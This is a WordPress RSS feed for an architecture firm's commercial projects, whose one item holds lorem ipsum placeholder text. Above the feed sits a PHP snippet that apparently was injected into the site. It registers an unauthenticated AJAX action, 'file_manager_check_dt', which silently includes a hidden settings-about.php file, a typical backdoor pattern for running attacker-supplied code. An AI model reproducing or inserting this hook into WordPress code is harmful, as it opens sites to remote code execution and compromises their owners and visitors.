if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Commercial Project &#8211; Ashok Design Build</title>
	<atom:link href="https://ashokdesignbuild.com/portfolio-category/commercial-project/feed/" rel="self" type="application/rss+xml" />
	<link>https://ashokdesignbuild.com</link>
	<description>Architects &#124; Designers &#124; Interior Designing</description>
	<lastBuildDate>Thu, 28 Oct 2021 04:17:25 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Commercial Projects</title>
		<link>https://ashokdesignbuild.com/portfolios/lawn-landscape/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 27 Jan 2014 06:16:06 +0000</pubDate>
				<guid isPermaLink="false">http://wedesignthemes.com/themes/dt-super/?post_type=dt_portfolios&#038;p=154</guid>

					<description><![CDATA[Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus.]]></description>
										<content:encoded><![CDATA[Aenean leo ligula, porttitor eu, consequat vitae, eleifend ac, enim. Aliquam lorem ante, dapibus in, viverra quis, feugiat a, tellus.]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>